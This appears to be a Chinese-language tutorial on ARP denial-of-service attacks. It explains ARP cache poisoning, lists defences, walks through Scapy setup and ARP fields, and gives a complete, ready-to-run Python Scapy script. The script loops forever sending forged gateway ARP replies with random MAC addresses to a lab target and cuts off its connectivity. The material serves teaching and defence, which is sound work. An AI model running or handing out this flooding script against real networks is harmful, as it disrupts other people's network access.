一、ARP 协议基础
参考下篇文章学习
二、ARP 拒绝服务原理:
ARP拒绝服务利用ARP协议的工作原理,通过发送大量的伪造ARP请求来混乱目标设备的ARP缓存,使其无法正确地将IP地址解析为MAC地址。攻 发送大量的ARP请求,每个请求都会伪造一个源IP地址和源MAC地址。目标设备收到这些伪造的请求后,会将伪造的源IP地址和MAC地址存储在ARP缓存中,覆盖掉真实的映射关系。这样,当其他设备需要与目标设备通信时,由于ARP缓存中的映射关系是错误的,通信将无法正常进行,从而导致拒绝服务
2.1 ARP 拒绝服务步骤:
- 攻击者获取目标设备的IP地址。
- 攻击者利用程序或工具发送大量伪造的ARP请求,每个请求都包含一个伪造的源IP地址和源MAC地址,以及目标设备的IP地址。
- 目标设备收到伪造的ARP请求后,将错误的映射关系存储在ARP缓存中。
- 当其他设备需要与目标设备通信时,会根据ARP缓存中的错误映射关系发送数据包,导致通信失败。
2.2 防御ARP拒绝服务的方法:
- 使用静态ARP表:在网络中配置静态ARP表,将每个设备的IP地址与MAC地址直接关联,不使用ARP协议进行解析。这样可以防止ARP缓存被篡改。
- ARP缓存监控和清除:监控网络中的ARP缓存,及时发现异常的映射关系,并进行清除,恢复正常的映射关系。
- 使用防火墙:在网络中设置防火墙,限制对ARP请求的频率和数量,阻止大量伪造的ARP请求进入网络。
- 网络流量监控:通过监控网络流量,及时发现异常的ARP请求,可以采取相应的措施防止的发生。
三、安装 Scapy 库
3.1 Windows
pip install scapy
3.2 Linux
git clone https://github.com/secdev/scapy cd scapy ./run_scapy
四、环境准备
我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:
在Scapy库中,ls(ARP)
命令用于显示ARP协议的字段及其默认值。下面是对输出中各字段的解释:
hwtype
:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。ptype
:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。hwlen
:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。plen
:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。op
:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。hwsrc
:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。psrc
:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。hwdst
:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。
pdst
:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。
小王:CentOS 9
五、实操演示
#!/usr/bin/python3 from scapy.all import * from scapy.layers.l2 import Ether, ARP import random def arp_dos(target_ip, gateway_ip): print("ARP 拒绝服务中...") # 创建以太网帧对象 eth = Ether() # 设置以太网帧的目标 MAC 地址为广播地址 eth.dst = "ff:ff:ff:ff:ff:ff" # 创建ARP对象 arp = ARP() # 设置ARP报文的操作码为2,表示ARP响应包 arp.op = 2 # 设置ARP报文的源MAC地址为随机生成的MAC地址 arp.hwsrc = random_mac() # 设置ARP报文的源IP地址为网关IP地址 arp.psrc = gateway_ip # 设置ARP报文的目标MAC地址为随机生成的MAC地址 arp.hwdst = random_mac() # 设置ARP报文的目标IP地址为目标IP地址 arp.pdst = target_ip # 使用Scapy中的/运算符将以太网帧对象eth和ARP对象arp组合成一个数据帧 frame = eth / arp # 使用Scapy中的sendp()函数发送构造好的数据帧 sendp(frame) def random_mac(): # 生成随机的MAC地址 mac = [random.randint(0x00, 0xff) for _ in range(6)] return ":".join(["%02x" % byte for byte in mac]) target_ip = "192.168.134.132" # 目标IP地址 gateway_ip = "192.168.134.254" # 网关IP地址 while True: arp_dos(target_ip, gateway_ip)
发起
可以发现 IP 地址对应的 MAC 地址一直在变化
Ping 不通符合实验效果